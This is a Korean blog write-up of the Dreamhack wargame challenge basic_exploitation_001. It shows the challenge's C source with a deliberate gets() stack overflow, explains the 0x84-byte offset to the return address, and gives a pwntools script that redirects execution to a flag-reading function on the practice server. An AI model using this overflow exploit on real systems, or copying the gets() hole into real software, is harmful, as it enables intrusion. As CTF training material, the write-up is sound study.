본문 바로가기

드림핵 워게임

[드림핵/워게임] basic_exploitation_001

https://dreamhack.io/wargame/challenges/3

 

basic_exploitation_001

Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요. "flag" 파일의 내용을

dreamhack.io

문제 파일을 다운 받으면 basic_exploitation_001.c파일과 실행 파일이 있다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    gets(buf);

    return 0;
}

1. 0x80크기의 buf 선언

2. initialize() 함수 호출 (30초 후 실행 종료)

3. buf 입력 받기

 

scanf와 마찬가지로 0x80 보다 더 큰 문자열을 입력할 수 있으므로 bof 가 가능하다.

코드를 잘 살펴 보면 system 함수로 "cat /flag" 를 실행시켜 주는 read_flag() 함수가 있다. 이 함수 주소를 RET에 넣어 주면 실행시킬 수 있을 것 같다.

문제 파일이 32비트 체계이므로 buf와 RET사이는 0x84바이트이다. 

 

따라서 0x84바이트의 쓰레기값 + read_flag() 함수의 주소를 넣어 주면 flag를 얻을 수 있다.

read_flag 함수의 주소는 0x80485b9이고, 그대로 코드로 짜 보자.

 

from pwn import *

p = remote("host3.dreamhack.games", 14808)

payload = b"a"*0x84

payload += p32(0x80485b9)

p.sendline(payload)
p.interactive()

이 코드를 실행시켜 보면 바로 플래그를 얻을 수 있다.